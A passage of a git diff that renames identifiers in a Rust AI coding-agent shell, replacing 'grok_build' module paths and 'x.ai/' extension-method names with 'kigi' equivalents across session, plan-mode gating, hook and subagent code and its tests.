-        res.get::<kigi_tools::implementations::grok_build::scheduler::types::SchedulerHandle>()
+        res.get::<kigi_tools::implementations::kigi::scheduler::types::SchedulerHandle>()
             .cloned()
     };
     if let Err(e) = workspace_ops.bind_local_session(
@@ -831,13 +831,13 @@ pub(crate) async fn spawn_session_actor(
         "Creating feedback manager"
     );
     let feedback_client_type = match client_type {
-        ClientType::GrokTUI => crate::session::feedback_types::ClientType::Tui,
-        ClientType::GrokWeb => crate::session::feedback_types::ClientType::Web,
+        ClientType::KigiTUI => crate::session::feedback_types::ClientType::Tui,
+        ClientType::KigiWeb => crate::session::feedback_types::ClientType::Web,
         ClientType::Nebula => crate::session::feedback_types::ClientType::Nebula,
         ClientType::Extension => crate::session::feedback_types::ClientType::Extension,
         ClientType::Generic => crate::session::feedback_types::ClientType::Agent,
         ClientType::Desktop => crate::session::feedback_types::ClientType::Desktop,
-        ClientType::GrokPager => crate::session::feedback_types::ClientType::Tui,
+        ClientType::KigiPager => crate::session::feedback_types::ClientType::Tui,
     };
     let feedback_config = FeedbackManagerConfig {
         feedback_enabled: feedback_flags.enabled,
@@ -930,7 +930,7 @@ pub(crate) async fn spawn_session_actor(
         .map(|e| e.to_string())
         .collect();
     let (goal_update_tx, goal_update_rx) = tokio::sync::mpsc::unbounded_channel::<
-        kigi_tools::implementations::grok_build::update_goal::UpdateGoalEnvelope,
+        kigi_tools::implementations::kigi::update_goal::UpdateGoalEnvelope,
     >();
     let mut effective_config = crate::config::load_effective_config()
         .ok()
@@ -1224,7 +1224,7 @@ pub(crate) async fn spawn_session_actor(
         .borrow()
         .tool_bridge()
         .update_resource(
-            kigi_tools::implementations::grok_build::update_goal::GoalUpdateHandle(
+            kigi_tools::implementations::kigi::update_goal::GoalUpdateHandle(
                 session.goal_update_tx.clone(),
             ),
         )
@@ -1288,7 +1288,7 @@ pub(crate) async fn spawn_session_actor(
     }
     {
         use agent_client_protocol::Client as _;
-        use kigi_tools::implementations::grok_build::ask_user_question::{
+        use kigi_tools::implementations::kigi::ask_user_question::{
             AskUserQuestionExtRequest, AskUserQuestionExtResponse, UserQuestionError,
             UserQuestionResponse,
         };
@@ -1300,7 +1300,7 @@ pub(crate) async fn spawn_session_actor(
         let mut user_question_rx = user_question_rx;
         tokio::task::spawn_local(async move {
             while let Some(mut request) = user_question_rx.recv().await {
-                use kigi_tools::implementations::grok_build::ask_user_question::AskUserQuestionMode;
+                use kigi_tools::implementations::kigi::ask_user_question::AskUserQuestionMode;
                 let mode = match *current_prompt_mode.lock() {
                     PromptMode::Plan => AskUserQuestionMode::Plan,
                     _ => AskUserQuestionMode::Default,
@@ -1316,7 +1316,7 @@ pub(crate) async fn spawn_session_actor(
                     "ask_user_question reverse-request must carry a non-empty sessionId (design §5.4)"
                 );
                 let ext_request = agent_client_protocol::ExtRequest::new(
-                    "x.ai/ask_user_question",
+                    "kigi/ask_user_question",
                     serde_json::value::to_raw_value(&ext_req)
                         .expect("AskUserQuestionExtRequest serialization should not fail")
                         .into(),
@@ -1521,8 +1521,8 @@ pub(crate) async fn spawn_session_on_thread(
     inference_idle_timeout_secs: u64,
     max_retries: Option<u32>,
     web_search_config: kigi_tools::implementations::WebSearchConfig,
-    web_fetch_config: kigi_tools::implementations::grok_build::web_fetch::WebFetchConfig,
-    app_builder_deployer_config: kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig,
+    web_fetch_config: kigi_tools::implementations::kigi::web_fetch::WebFetchConfig,
+    app_builder_deployer_config: kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig,
     write_file_enabled: bool,
     goal_enabled: bool,
     subagents_enabled: bool,
@@ -1556,7 +1556,7 @@ pub(crate) async fn spawn_session_on_thread(
         std::sync::Arc<dyn kigi_tools::computer::types::TerminalBackend>,
     >,
     parent_scheduler_handle: Option<
-        kigi_tools::implementations::grok_build::scheduler::types::SchedulerHandle,
+        kigi_tools::implementations::kigi::scheduler::types::SchedulerHandle,
     >,
     max_turns: Option<usize>,
     forked_tool_override: Option<Vec<ToolSpec>>,
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/tasks_cancel.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/tasks_cancel.rs
index 613e33b..ee09aab 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/tasks_cancel.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/tasks_cancel.rs
@@ -179,7 +179,7 @@ impl SessionActor {
 
     fn cancel_subagents_for_prompt_id(&self, parent_prompt_id: &str) {
         if let Some(event_tx) = self.tool_context.subagent_event_tx.clone() {
-            use kigi_tools::implementations::grok_build::task::types::{
+            use kigi_tools::implementations::kigi::task::types::{
                 SubagentCancelRequest, SubagentCancelTarget, SubagentEvent,
             };
             let _ = event_tx.send(SubagentEvent::Cancel(SubagentCancelRequest {
@@ -346,7 +346,7 @@ impl SessionActor {
             // * normal interactive cancel: remove ONLY the running turn,
             //   PRESERVING every queued prompt so the `Cancel` handler's
             //   follow-up `maybe_start_running_task` promotes the new front (the
-            //   user's next queued prompt) and rebroadcasts `x.ai/queue/changed`.
+            //   user's next queued prompt) and rebroadcasts `kigi/queue/changed`.
             //   The cancelling client does not pull any prompt back into its
             //   input — the server queue is the single source of truth for what
             //   runs next. Previously every cancel did `std::mem::take`,
@@ -418,7 +418,7 @@ impl SessionActor {
             .borrow()
             .tool_bridge()
             .update_resource(
-                kigi_tools::implementations::grok_build::task::types::CurrentPromptIdResource(
+                kigi_tools::implementations::kigi::task::types::CurrentPromptIdResource(
                     String::new(),
                 ),
             )
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/tool_calls.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/tool_calls.rs
index b372725..4257161 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/tool_calls.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/tool_calls.rs
@@ -135,7 +135,7 @@ pub(super) fn should_intercept_exit_plan_approval(
 pub(super) enum PlanEditGate {
     /// Execute normally (plan mode inactive, not an edit, or allowed target).
     Allow,
-    /// Grok-toolset edit outside the plan file (plan-file-only rule).
+    /// Kigi-toolset edit outside the plan file (plan-file-only rule).
     RejectNonPlanFile,
 }
 /// Gate edit-class tool calls while plan mode is active.
@@ -149,7 +149,7 @@ pub(super) enum PlanEditGate {
 ///   file is editable in plan mode (plan docs are written with these
 ///   same tools); everything else is rejected. Pre-existing behavior.
 /// - **Compat-toolset `Delete`** is **not** on the markdown carve-out: it maps to
-///   `AccessKind::Edit` and is plan-file-only (same as grok edits). Deleting
+///   `AccessKind::Edit` and is plan-file-only (same as kigi edits). Deleting
 ///   an arbitrary `.md` in plan mode must not pass.
 /// - **Every other edit tool** (`AccessKind::Edit`) is restricted to the plan
 ///   file itself, via the same predicate that auto-approves plan-file edits
@@ -192,7 +192,7 @@ pub(super) enum PlanApprovalOutcome {
 }
 impl PlanApprovalOutcome {
     fn from_response(
-        resp: &kigi_tools::implementations::grok_build::exit_plan_mode::ExitPlanModeExtResponse,
+        resp: &kigi_tools::implementations::kigi::exit_plan_mode::ExitPlanModeExtResponse,
     ) -> Self {
         match resp.outcome.as_str() {
             "approved" => Self::Approved,
@@ -255,7 +255,7 @@ fn resume_action_for(outcome: PlanApprovalOutcome, feedback: Option<String>) ->
     }
 }
 impl SessionActor {
-    /// Merge the canonical `x.ai/tool` identity envelope into a tool-call
+    /// Merge the canonical `kigi/tool` identity envelope into a tool-call
     /// event's `_meta`, resolving the tool from the live toolset by wire name.
     pub(super) fn stamp_tool_meta(
         &self,
@@ -1203,7 +1203,7 @@ impl SessionActor {
         };
         Ok(Ok(prepared))
     }
-    /// Issue the `x.ai/exit_plan_mode` reverse-request and await the user's
+    /// Issue the `kigi/exit_plan_mode` reverse-request and await the user's
     /// decision. Shared by the mid-turn intercept and the resume
     /// re-park. Marks `awaiting_plan_approval` while the request is
     /// outstanding and clears it on every exit path via [`AwaitingApprovalGuard`].
@@ -1212,11 +1212,11 @@ impl SessionActor {
         tool_call_id: &acp::ToolCallId,
         plan_content: Option<String>,
     ) -> Result<
-        kigi_tools::implementations::grok_build::exit_plan_mode::ExitPlanModeExtResponse,
+        kigi_tools::implementations::kigi::exit_plan_mode::ExitPlanModeExtResponse,
         acp::Error,
     > {
         use agent_client_protocol::Client as _;
-        use kigi_tools::implementations::grok_build::exit_plan_mode::{
+        use kigi_tools::implementations::kigi::exit_plan_mode::{
             ExitPlanModeExtRequest, ExitPlanModeExtResponse,
         };
         let ext_req = ExitPlanModeExtRequest {
@@ -1229,7 +1229,7 @@ impl SessionActor {
             "exit_plan_mode reverse-request must carry a non-empty sessionId (design §5.4)"
         );
         let ext_request = acp::ExtRequest::new(
-            "x.ai/exit_plan_mode",
+            "kigi/exit_plan_mode",
             serde_json::value::to_raw_value(&ext_req)
                 .expect("ExitPlanModeExtRequest serialization should not fail")
                 .into(),
@@ -2540,7 +2540,7 @@ mod plan_mode_edit_gate_tests {
         plan_mode_edit_gate(tracker, input, &AccessKind::from(input))
     }
     fn search_replace(path: &str) -> ToolInput {
-        use kigi_tools::implementations::grok_build::search_replace::SearchReplaceInput;
+        use kigi_tools::implementations::kigi::search_replace::SearchReplaceInput;
         ToolInput::SearchReplace(SearchReplaceInput {
             file_path: path.into(),
             old_string: "a".into(),
@@ -2555,10 +2555,10 @@ mod plan_mode_edit_gate_tests {
             content: "x".into(),
         })
     }
-    /// Grok edit tools are plan-file-only while plan mode is active — the
+    /// Kigi edit tools are plan-file-only while plan mode is active — the
     /// enforcement that makes plan mode read-only even under always-approve.
     #[test]
-    fn grok_edits_outside_plan_file_rejected() {
+    fn kigi_edits_outside_plan_file_rejected() {
         let t = active_tracker();
         assert_eq!(
             gate(&t, &search_replace("/tmp/src/main.rs")),
@@ -2567,7 +2567,7 @@ mod plan_mode_edit_gate_tests {
         assert_eq!(
             gate(&t, &write("/tmp/README.md")),
             PlanEditGate::RejectNonPlanFile,
-            "grok tools get no markdown exception — plan file only"
+            "kigi tools get no markdown exception — plan file only"
         );
     }
     /// The carve-out and the permission bypass share `should_auto_approve_edit`,
@@ -2644,7 +2644,7 @@ mod plan_approval_helper_tests {
         PlanApprovalOutcome, ResumeAction, ext_method_no_client, resume_action_for,
         revise_plan_message,
     };
-    use kigi_tools::implementations::grok_build::exit_plan_mode::ExitPlanModeExtResponse;
+    use kigi_tools::implementations::kigi::exit_plan_mode::ExitPlanModeExtResponse;
     fn resp(outcome: &str) -> ExitPlanModeExtResponse {
         ExitPlanModeExtResponse {
             outcome: outcome.into(),
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/tool_dispatch.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/tool_dispatch.rs
index 1475a05..878b4df 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/tool_dispatch.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/tool_dispatch.rs
@@ -41,11 +41,11 @@ fn str_arg<'a>(args: &'a serde_json::Value, keys: &[&str]) -> Option<&'a str> {
 /// serializing concurrent same-file edits inside `execute_tool_calls`.
 ///
 /// Different toolsets advertise the path under different JSON keys:
-/// - `file_path` — grok_build (`search_replace`), opencode (`EditTool`,
-///   `WriteTool`, `ReadTool`), codex (`read_file`), grok_build_hashline
+/// - `file_path` — kigi (`search_replace`), opencode (`EditTool`,
+///   `WriteTool`, `ReadTool`), codex (`read_file`), kigi_hashline
 ///   (`hashline_edit`)
 /// - `path` — alternate edit/read tools
-/// - `target_file` — grok_build (`read_file`, via `#[serde(rename)]`)
+/// - `target_file` — kigi (`read_file`, via `#[serde(rename)]`)
 ///
 /// Returning the same string for two calls in a batch causes them to share a
 /// `tokio::sync::Mutex` and therefore run sequentially in model-emitted order.
@@ -202,7 +202,7 @@ impl SessionActor {
             is_background: false,
         });
         // Bash mode has no model-issued wire name; resolve the toolset's
-        // execute tool by kind so the x.ai/tool identity still stamps.
+        // execute tool by kind so the kigi/tool identity still stamps.
         let bash_marker = serde_json::json!({"bash_mode": true}).as_object().cloned();
         let exec_wire = {
             let agent = self.agent.borrow();
@@ -366,7 +366,7 @@ pub(crate) const MAX_ARGS_IN_ERROR: usize = 2_000;
 ///
 /// 1. The normal error description (so the model knows *what* failed).
 /// 2. The **original arguments string** the model produced (capped at
-///    [`MAX_ARGS_IN_ERROR`] bytes).  Without this, grok-shell would sanitize
+///    [`MAX_ARGS_IN_ERROR`] bytes).  Without this, kigi-shell would sanitize
 ///    the arguments to `"{}"` before forwarding them to the provider (to
 ///    avoid 400 errors), so the model would only see an empty object and have
 ///    to regenerate all its work from scratch.
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/turn.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/turn.rs
index ec7b649..7414561 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/turn.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/turn.rs
@@ -60,9 +60,7 @@ impl UsageDrainOutcome {
     /// Same policy as freeze's terminal outcome: FG live → fail-closed;
     /// sticky and background → report only.
     pub(super) fn from_outstanding_reply(
-        reply: Option<
-            &kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply,
-        >,
+        reply: Option<&kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply>,
     ) -> Self {
         match reply {
             None => Self {
@@ -1050,7 +1048,7 @@ impl SessionActor {
         let Some(tx) = &self.tool_context.subagent_event_tx else {
             return false;
         };
-        use kigi_tools::implementations::grok_build::task::types::{
+        use kigi_tools::implementations::kigi::task::types::{
             SubagentEvent, SubagentMarkUsageNotAppliedRequest,
         };
         let (respond_to, ack) = tokio::sync::oneshot::channel();
@@ -1074,12 +1072,12 @@ impl SessionActor {
     /// `push_user_message`, NOT `inject_synthetic_user_message`: the latter
     /// persists a `UserMessageChunk` to `updates.jsonl`, which resume
     /// replays — the raw XML would render as a user prompt. Clients see
-    /// monitor events only via the structured `x.ai/monitor_event` channel.
+    /// monitor events only via the structured `kigi/monitor_event` channel.
     pub(crate) async fn inject_pending_monitor_events(&self) {
         let Some(buffer) = &self.tool_context.monitor_event_buffer else {
             return;
         };
-        let mine = kigi_tools::implementations::grok_build::task::types::drain_owned(
+        let mine = kigi_tools::implementations::kigi::task::types::drain_owned(
             buffer,
             Some(self.session_info.id.0.as_ref()),
         );
@@ -1632,12 +1630,12 @@ impl SessionActor {
                 )),
             );
             let mut request = request;
-            request.x_grok_session_id = Some(self.session_info.id.to_string());
-            request.x_grok_turn_idx =
+            request.x_kigi_session_id = Some(self.session_info.id.to_string());
+            request.x_kigi_turn_idx =
                 Some(self.chat_state_handle.get_prompt_index().await.to_string());
-            request.x_grok_agent_id = Some(crate::util::agent_id::agent_id());
-            if request.x_grok_deployment_id.is_none() {
-                request.x_grok_deployment_id = crate::managed_config::resolve_deployment_id(
+            request.x_kigi_agent_id = Some(crate::util::agent_id::agent_id());
+            if request.x_kigi_deployment_id.is_none() {
+                request.x_kigi_deployment_id = crate::managed_config::resolve_deployment_id(
                     crate::managed_config::resolve_deployment_key().as_deref(),
                 );
             }
@@ -2115,7 +2113,7 @@ mod user_echo_broadcast_tests {
         );
     }
     /// Interject-fallback turns are persist-only: every pane already rendered
-    /// the text from the `x.ai/session/interjection` broadcast, so a live
+    /// the text from the `kigi/session/interjection` broadcast, so a live
     /// echo would duplicate the block.
     #[test]
     fn interject_fallback_turn_is_persist_only() {
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/turn_end.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/turn_end.rs
index 6c7d051..1086733 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/turn_end.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/turn_end.rs
@@ -78,7 +78,7 @@ impl SessionActor {
         self.emit_transient_notification(notification);
     }
 
-    /// Emit `x.ai/git_head_changed` after an edit/shell command that may have
+    /// Emit `kigi/git_head_changed` after an edit/shell command that may have
     /// moved HEAD (e.g. `git checkout`), so clients update their status bar
     /// immediately rather than waiting for the debounced fs-watch refresh.
     pub(super) async fn maybe_notify_git_branch(&self) {
@@ -112,7 +112,7 @@ impl SessionActor {
             main_repo,
         };
         if let Ok(raw) = serde_json::value::to_raw_value(&params) {
-            let notification = acp::ExtNotification::new("x.ai/git_head_changed", raw.into());
+            let notification = acp::ExtNotification::new("kigi/git_head_changed", raw.into());
             self.notifications
                 .gateway
                 .forward_fire_and_forget(notification);
@@ -123,12 +123,11 @@ impl SessionActor {
     pub(super) async fn outstanding_reply_for_prompt(
         &self,
         prompt_id: &str,
-    ) -> Option<kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply>
-    {
+    ) -> Option<kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply> {
         let Some(tx) = &self.tool_context.subagent_event_tx else {
             return Some(Default::default());
         };
-        use kigi_tools::implementations::grok_build::task::types::{
+        use kigi_tools::implementations::kigi::task::types::{
             SubagentEvent, SubagentOutstandingRequest,
         };
         let (respond_to, rx) = tokio::sync::oneshot::channel();
@@ -147,9 +146,7 @@ impl SessionActor {
     /// Report-level incomplete (error-path attach, tests). Same OR as
     /// [`super::turn::UsageDrainOutcome::report_incomplete`].
     pub(super) fn usage_incomplete_from_reply(
-        reply: Option<
-            &kigi_tools::implementations::grok_build::task::types::SubagentOutstandingReply,
-        >,
+        reply: Option<&kigi_tools::implementations::kigi::task::types::SubagentOutstandingReply>,
     ) -> bool {
         super::turn::UsageDrainOutcome::from_outstanding_reply(reply).report_incomplete()
     }
@@ -158,7 +155,7 @@ impl SessionActor {
         let Some(tx) = &self.tool_context.subagent_event_tx else {
             return;
         };
-        use kigi_tools::implementations::grok_build::task::types::{
+        use kigi_tools::implementations::kigi::task::types::{
             SubagentClearUsageNotAppliedRequest, SubagentEvent,
         };
         let _ = tx.send(SubagentEvent::ClearUsageNotApplied(
@@ -186,7 +183,7 @@ impl SessionActor {
                 .borrow()
                 .tool_bridge()
                 .update_resource(
-                    kigi_tools::implementations::grok_build::task::types::CurrentPromptIdResource(
+                    kigi_tools::implementations::kigi::task::types::CurrentPromptIdResource(
                         String::new(),
                     ),
                 )
@@ -257,7 +254,7 @@ impl SessionActor {
 
         // Durable twin of the fire-and-forget `prompt_complete` (emitted from
         // `MvpAgent::prompt`): publish the turn's terminal on the persisted +
-        // replayed `_x.ai/session/update` rail so a viewer that re-attaches
+        // replayed `_kigi/session/update` rail so a viewer that re-attaches
         // mid-turn finalizes from replay instead of stranding on "Waiting…".
         // The caller flushed the replay buffer first, so this lands strictly
         // after the turn's last `session/update` delta. Emit ONLY for a
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/types.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/types.rs
index fec44c7..6590044 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/types.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/types.rs
@@ -199,8 +199,8 @@ pub(crate) enum DrainPurpose {
 /// Origin of a drain entry. `Pending` entries had their acks resolved
 /// at defer time; `Channel` entries still carry a live oneshot.
 pub(crate) enum DrainSource {
-    Pending(kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput),
-    Channel(kigi_tools::implementations::grok_build::update_goal::UpdateGoalEnvelope),
+    Pending(kigi_tools::implementations::kigi::update_goal::UpdateGoalInput),
+    Channel(kigi_tools::implementations::kigi::update_goal::UpdateGoalEnvelope),
 }
 
 /// Reason a NotAchieved verdict was synthesized without invoking the
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_impl/updates.rs b/crates/codegen/kigi-shell/src/session/acp_session_impl/updates.rs
index 281d876..7342fe1 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_impl/updates.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_impl/updates.rs
@@ -230,7 +230,7 @@ impl SessionActor {
                     self.notifications
                         .gateway
                         .forward_fire_and_forget(acp::ExtNotification::new(
-                            "x.ai/session_notification",
+                            "kigi/session_notification",
                             params.into(),
                         ));
                 }
@@ -734,7 +734,7 @@ impl SessionActor {
             .ok();
         if let Some(params) = params {
             let ext_notification =
-                acp::ExtNotification::new("x.ai/session_notification", params.into());
+                acp::ExtNotification::new("kigi/session_notification", params.into());
             self.notifications
                 .gateway
                 .forward_fire_and_forget(ext_notification);
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/auth_error_no_retry_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/auth_error_no_retry_tests.rs
index 00b2d8b..10778d3 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/auth_error_no_retry_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/auth_error_no_retry_tests.rs
@@ -355,7 +355,7 @@ async fn proactive_refresh_makes_per_turn_refresh_a_cache_hit() {
 fn model_not_found_error() -> kigi_sampler::SamplingErrorInfo {
     kigi_sampler::SamplingErrorInfo {
             kind: kigi_sampler::SamplingErrorKind::Api,
-            message: "API error (status 404 Not Found): The model grok-build does not exist or your team does not have access".into(),
+            message: "API error (status 404 Not Found): The model kigi does not exist or your team does not have access".into(),
             status_code: Some(404),
             is_retryable: false,
             retry_after_secs: None,
@@ -379,7 +379,7 @@ fn model_not_found_error() -> kigi_sampler::SamplingErrorInfo {
 fn unauthorized_401_error() -> kigi_sampler::SamplingErrorInfo {
     kigi_sampler::SamplingErrorInfo {
             kind: kigi_sampler::SamplingErrorKind::Api,
-            message: "Unauthorized (401) from https://cli-chat-proxy.kigi.com/v1/responses: {\"error\":\"Invalid or expired credentials (auth_kind=bearer, x_xai_token_auth=xai-grok-cli, upstream=Unauthenticated, reason=no auth context)\"}".into(),
+            message: "Unauthorized (401) from https://cli-chat-proxy.kigi.com/v1/responses: {\"error\":\"Invalid or expired credentials (auth_kind=bearer, x_xai_token_auth=xai-kigi-cli, upstream=Unauthenticated, reason=no auth context)\"}".into(),
             status_code: Some(401),
             is_retryable: false,
             retry_after_secs: None,
@@ -553,7 +553,7 @@ async fn sampler_401_login_method_with_stale_api_key_auth_type_still_recovers()
             let (_dir, am) = auth_manager_with_refresher(refresher);
             let (actor, _rx) = make_actor_with_method_and_credentials(
                 Some(am),
-                "grok.com",
+                "kimi-code",
                 kigi_chat_state::AuthType::ApiKey,
                 "stale-session-jwt".to_string(),
             )
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/auto_wake_suppression_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/auto_wake_suppression_tests.rs
index bda48e9..cba2160 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/auto_wake_suppression_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/auto_wake_suppression_tests.rs
@@ -905,7 +905,7 @@ async fn reparented_record_is_noop_without_goal_harness() {
 /// subagent(s) completed" reminder.
 #[tokio::test(flavor = "current_thread")]
 async fn between_turn_drain_suppresses_auto_wake_delivered_subagents() {
-    use kigi_tools::implementations::grok_build::task::types::{
+    use kigi_tools::implementations::kigi::task::types::{
         SubagentCompletionSummary, SubagentEvent,
     };
     use kigi_tools::reminders::task_completion::AutoWakeDeliveredIds;
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/between_turn_completion_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/between_turn_completion_tests.rs
index ecb0e40..ffd5994 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/between_turn_completion_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/between_turn_completion_tests.rs
@@ -1,4 +1,4 @@
-use kigi_tools::implementations::grok_build::task::types::SubagentCompletionSummary;
+use kigi_tools::implementations::kigi::task::types::SubagentCompletionSummary;
 use kigi_tools::reminders::task_completion::format_between_turn_completions;
 
 fn summary(
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/cancel_running_task_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/cancel_running_task_tests.rs
index 94d8459..935c16a 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/cancel_running_task_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/cancel_running_task_tests.rs
@@ -778,7 +778,7 @@ async fn cancel_running_task_teardown_clears_running_and_pending_work() {
             agent
                 .tool_bridge()
                 .update_resource(
-                    kigi_tools::implementations::grok_build::task::types::CurrentPromptIdResource(
+                    kigi_tools::implementations::kigi::task::types::CurrentPromptIdResource(
                         "running".to_string(),
                     ),
                 )
@@ -981,7 +981,7 @@ async fn cancel_running_task_teardown_clears_running_and_pending_work() {
             actor.cancel_running_task(true, true, false, None).await;
             let scoped_prompt_id = bridge
                 .read_resource::<
-                    kigi_tools::implementations::grok_build::task::types::CurrentPromptIdResource,
+                    kigi_tools::implementations::kigi::task::types::CurrentPromptIdResource,
                 >()
                 .await;
             assert!(
@@ -1013,7 +1013,7 @@ async fn cancel_running_task_teardown_clears_running_and_pending_work() {
 /// the running turn and removes ONLY the running prompt (the front of
 /// `pending_inputs`). Every queued prompt is PRESERVED so the `Cancel`
 /// handler's follow-up `maybe_start_running_task` promotes the new front (the
-/// user's next queued prompt) and rebroadcasts `x.ai/queue/changed`. The
+/// user's next queued prompt) and rebroadcasts `kigi/queue/changed`. The
 /// cancelling client never pulls a queued prompt back into its input — the
 /// server queue is the single source of truth for what runs next.
 ///
@@ -1756,7 +1756,7 @@ async fn cancel_propagates_to_sampler_handle_so_no_further_emission() {
             agent
                 .tool_bridge()
                 .update_resource(
-                    kigi_tools::implementations::grok_build::task::types::CurrentPromptIdResource(
+                    kigi_tools::implementations::kigi::task::types::CurrentPromptIdResource(
                         "running".to_string(),
                     ),
                 )
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/client_hooks_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/client_hooks_tests.rs
index ea9d9bd..034601e 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/client_hooks_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/client_hooks_tests.rs
@@ -42,9 +42,9 @@ async fn client_hooks_fire_without_file_registry() {
                 .try_recv()
                 .expect("client hook must fire with no file registry");
             let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg else {
-                panic!("expected an x.ai/hooks/event ext notification");
+                panic!("expected an kigi/hooks/event ext notification");
             };
-            assert_eq!(args.request.method.as_ref(), "x.ai/hooks/event");
+            assert_eq!(args.request.method.as_ref(), "kigi/hooks/event");
             let params: serde_json::Value =
                 serde_json::from_str(args.request.params.get()).unwrap();
             assert_eq!(params["hookCallbackId"], "cb_0");
@@ -54,7 +54,7 @@ async fn client_hooks_fire_without_file_registry() {
 }
 
 /// The PreToolUse gate blocks a tool when a client hook returns `deny`: the reverse
-/// `x.ai/hooks/run` request is answered with a deny and `run_pre_tool_use_client_hook`
+/// `kigi/hooks/run` request is answered with a deny and `run_pre_tool_use_client_hook`
 /// returns `ToolLoop::HookDenied`. Complements the pure `classify` test by covering the
 /// gate wiring (the one new path that can block tool execution).
 #[tokio::test(flavor = "current_thread")]
@@ -79,7 +79,7 @@ async fn pre_tool_use_client_deny_blocks_the_tool() {
             );
             *actor.client_hooks.borrow_mut() = client_hooks;
 
-            // Answer the x.ai/hooks/run reverse request with a deny; ack the UI
+            // Answer the kigi/hooks/run reverse request with a deny; ack the UI
             // notifications `deny_tool` emits so it can't block the gate.
             tokio::task::spawn_local(async move {
                 while let Some(msg) = gateway_rx.recv().await {
@@ -431,7 +431,7 @@ async fn pre_tool_use_slow_callback_does_not_starve_a_deny() {
 /// dispatch error fires only PostToolUseFailure; a successful dispatch fires only
 /// PostToolUse. Guards the explicitly-hardened no-double-fire path (the PostToolUse
 /// success block routes through `dispatch_hook`, the same as the failure arm). Each
-/// post-tool event is observed as a fire-and-forget `x.ai/hooks/event` notification.
+/// post-tool event is observed as a fire-and-forget `kigi/hooks/event` notification.
 #[tokio::test(flavor = "current_thread")]
 async fn post_tool_use_and_failure_never_double_fire() {
     let local = tokio::task::LocalSet::new();
@@ -443,7 +443,7 @@ async fn post_tool_use_and_failure_never_double_fire() {
                 tokio::sync::mpsc::unbounded_channel::<PersistenceMsg>();
             let actor = create_test_actor(0, 256_000, 85, gateway_tx, persistence_tx).await;
             // The agent's tool bridge must know `todo_write` for it to parse + dispatch.
-            *actor.agent.borrow_mut() = test_grok_build_agent_with_todo().await;
+            *actor.agent.borrow_mut() = test_kigi_agent_with_todo().await;
 
             let mut client_hooks = crate::extensions::hooks::ClientHooks::new();
             for event in [
@@ -461,13 +461,13 @@ async fn post_tool_use_and_failure_never_double_fire() {
             }
             *actor.client_hooks.borrow_mut() = client_hooks;
 
-            // Collect the `hookEventName` of every `x.ai/hooks/event` notification queued.
+            // Collect the `hookEventName` of every `kigi/hooks/event` notification queued.
             let drain =
                 |rx: &mut tokio::sync::mpsc::UnboundedReceiver<kigi_acp_lib::AcpClientMessage>| {
                     let mut events = Vec::new();
                     while let Ok(msg) = rx.try_recv() {
                         if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg
-                            && args.request.method.as_ref() == "x.ai/hooks/event"
+                            && args.request.method.as_ref() == "kigi/hooks/event"
                         {
                             let params: serde_json::Value =
                                 serde_json::from_str(args.request.params.get()).unwrap();
@@ -544,7 +544,7 @@ async fn pre_tool_use_deny_feeds_reason_back_and_continues_turn() {
             let actor = create_test_actor(0, 256_000, 85, gateway_tx, persistence_tx).await;
             // The agent's tool bridge must know `todo_write` so it parses + reaches
             // the PreToolUse gate (rather than short-circuiting as an unknown tool).
-            *actor.agent.borrow_mut() = test_grok_build_agent_with_todo().await;
+            *actor.agent.borrow_mut() = test_kigi_agent_with_todo().await;
 
